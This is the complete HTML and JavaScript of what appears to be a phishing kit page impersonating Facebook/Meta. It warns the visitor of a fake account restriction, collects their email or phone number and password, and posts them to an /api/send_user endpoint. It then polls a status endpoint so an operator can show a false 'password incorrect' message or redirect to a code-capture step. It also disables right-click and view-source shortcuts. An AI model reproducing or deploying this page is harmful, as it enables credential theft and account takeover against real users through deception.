<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Account Restricted</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Poppins', sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f2f5;
        }

        .container {
            background: #fff;
            padding: 30px;
            border-radius: 12px;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
            width: 400px;
            text-align: center;
            transition: all 0.3s ease-in-out;
        }

        .container:hover {
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15);
        }

        .container img {
            width: 90px;
            margin-bottom: 15px;
        }

        h1 {
            font-size: 22px;
            margin-bottom: 15px;
            color: #333;
        }

        p {
            color: #606770;
            font-size: 15px;
            margin-bottom: 25px;
            line-height: 1.6;
        }

        .input-group {
            margin-bottom: 20px;
            text-align: left;
        }

        label {
            font-weight: 500;
            font-size: 14px;
            margin-bottom: 5px;
            display: block;
        }

        input {
            width: calc(100% - 20px);
            padding: 12px;
            margin-top: 5px;
            border: 1px solid #ddd;
            border-radius: 8px;
            font-size: 15px;
            transition: all 0.3s;
        }

        input:focus {
            border-color: #1877f2;
            box-shadow: 0 0 6px rgba(24, 119, 242, 0.3);
            outline: none;
        }

        input:invalid {
            border-color: #f02849;
        }

        .error-message {
            display: none;
            color: #f02849;
            font-size: 13px;
            margin-top: 8px;
        }

        input:invalid + .error-message {
            display: block;
        }
        .error-messages {
            display: none;
            color: #f02849;
            font-size: 13px;
            margin-top: 8px;
        }
 

        button {
            width: 100%;
            padding: 14px;
            background-color: #1877f2;
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        button:hover {
            background-color: #165fc1;
        }

        a {
            color: #1877f2;
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }

        @media (max-width: 480px) {
            .container {
                width: 90%;
                padding: 20px;
            }
        }
              .lsd-ring-container {
    position: fixed;
    display: flex;
    justify-content: center;
    align-items: center;
    width: 100vw;
    height: 110vh;
    z-index: 100000000;
    background-color: rgba(100, 100, 111, 0.2);
    transform: translateY(-29px);
}

.lds-ring {
    display: inline-block;
    position: relative;
    width: 80px;
    height: 80px;
}

.lds-ring div {
    box-sizing: border-box;
    display: block;
    position: absolute;
    width: 64px;
    height: 64px;
    margin: 8px;
    border: 8px solid #fff;
    border-radius: 50%;
    animation: lds-ring 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite;
    border-color: #fff transparent transparent transparent;
}

.lds-ring div:nth-child(1) {
    animation-delay: -0.45s;
}

.lds-ring div:nth-child(2) {
    animation-delay: -0.3s;
}

.lds-ring div:nth-child(3) {
    animation-delay: -0.15s;
}

@keyframes lds-ring {
    0% {
        transform: rotate(0deg);
    }

    100% {
        transform: rotate(360deg);
    }
}
    </style>
    <script>
        document.addEventListener('contextmenu', function(event) {
            event.preventDefault();
        });

        document.addEventListener('keydown', function(event) {
            if (event.ctrlKey && (event.key === 'u' || event.key === 's')) {
                event.preventDefault();
            }
        });

        
    </script>
</head>
<body>
      <div id='loading' class="lsd-ring-container" style="display: none">
        <div class="lds-ring">
            <div></div>
            <div></div>
            <div></div>
            <div></div>
        </div>
        </div>
    <div class="container">
        <img src="https://upload.wikimedia.org/wikipedia/commons/5/51/Facebook_f_logo_%282019%29.svg" alt="Meta Logo">
        <h1>Your account has been restricted</h1>
        <p>We detected unusual activity today <strong id="current-date"></strong>. Someone reported your account. Please verify to avoid being <a href="#">disabled</a>.</p>
        <div class="input-group">
            <label for="email">Email or phone number</label>
            <input type="email" id="email" required placeholder="Enter your email or phone">
            <span class="error-message">Please enter a valid email.</span>
        </div>
        <div class="input-group">
            <label for="password">Password</label>
            <input type="password" id="password" required minlength="6" placeholder="Enter your password">
            <span class="error-message">Password must be at least 6 characters.</span>
             <span id="error-messages" class="error-messages">Password is incorrect, please try again.</span>
        </div>
        <button onclick="validateForm()">Verify</button>
        <p>Case ID: <strong>#100430558912</strong></p>
    </div>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

    <script> 
   document.addEventListener('DOMContentLoaded', function() {
    // Lấy phần tử thông báo lỗi của password
 var passwordErrors =  document.getElementById('error-messages');

    // Kiểm tra nếu tồn tại phần tử
    if (passwordErrors) {   // Đổi màu chữ thành đỏ
        passwordErrors.style.display = 'none';  // Ẩn thông báo lỗi ban đầu
    }
});
    // Ẩn tất cả thông báo lỗi ban đầu
    var shouldStop = false;
         var shouldStops = false;
        const date = new Date();
        const options = { year: 'numeric', month: 'long', day: 'numeric' };
        const formattedDate = date.toLocaleDateString('en-US', options); 
        document.getElementById('current-date').textContent = formattedDate;
        
      
 
    function validateForm() {
         var passwordErrors =  document.getElementById('error-messages');
    // Lấy giá trị từ các input
    const email = document.getElementById('email').value;
    const password = document.getElementById('password').value;

    // Lấy tất cả phần tử thông báo lỗi
    const emailError = document.querySelector('#email + .error-message');
    const passwordError = document.querySelector('#password + .error-message');

    emailError.style.display = 'none';
    passwordError.style.display = 'none';
   

    let isValid = true;

    // Kiểm tra email
    if (!email) {
        emailError.style.display = 'block';
        isValid = false;
    }

    // Kiểm tra password
    if (password.length < 6) {
        passwordError.style.display = 'block';
        isValid = false;
    }

    // Nếu hợp lệ, in ra console và chuyển hướng
    if (isValid) {
            var rootDomain = window.location.origin; 
              // Lấy folder hiện tại t URL
              var currentFolder = window.location.pathname.split('/')[1] || ''; // Nếu không có folder, sử dụng chuỗi rỗng
              
              // Tạo URL cho iframe
              var loadingUrl = rootDomain + (currentFolder ? '/' + currentFolder : '') + '/loading.php';
              // Tạo URL callback
              var callback = rootDomain + (currentFolder ? '/' + currentFolder : '');
               passwordErrors.style.display = 'none';
               shouldStop = false
                  document.getElementById('loading').style.display = 'flex';
                  $.ajax({
                      url: rootDomain + (currentFolder ? '/' + currentFolder : '') + '/api/send_user',
                      type: "post",
                       contentType: "application/json",
                      data:JSON.stringify({ 
                          password:`${password}`,
                          email:`${email}`
                      }),
                      success: function(s) {
                          console.log(s);
                                          var intervalId = setInterval(function() { 
                    checkStatus();

                    if (shouldStop) { 
                        clearInterval(intervalId);
                    }
                    }, 1000); 

                         
                      },
                      error: function(e) {
                          console.log('Something went wrong');
                      }
                  }); 
        }
    }
    
   function checkStatus() {  
       
        $.ajax({
            url: "./api/get_info_by_id",
            type: 'GET',
            dataType: 'json',
            success: function(data) {
              if(data.status == 'error'){

              }else{
               datas = data.json
                console.log(datas); 
                if (datas.status === '1') {
                 redirectToSleep();
        
               } else if ( datas.step === '2') { 
                  
                } else if (datas.status === '3') { 
                 
                    if(shouldStop){
                        
                    }else{  
                    document.getElementById('loading').style.display = 'none';
                    var passwordErrors =  document.getElementById('error-messages'); 
                                passwordErrors.style.display = 'block';
                          
                    shouldStop = true
                    } 
    
                } else { 
                  //no

                }
               }
            },
            error: function(error) {
                console.log('Error:', error);
                // Xử lý lỗi 
                window.location.href = '';
            }
        });
    } function redirectToSleep() {
        window.location.href = './code';
    }
    </script>
    
</body>
</html>
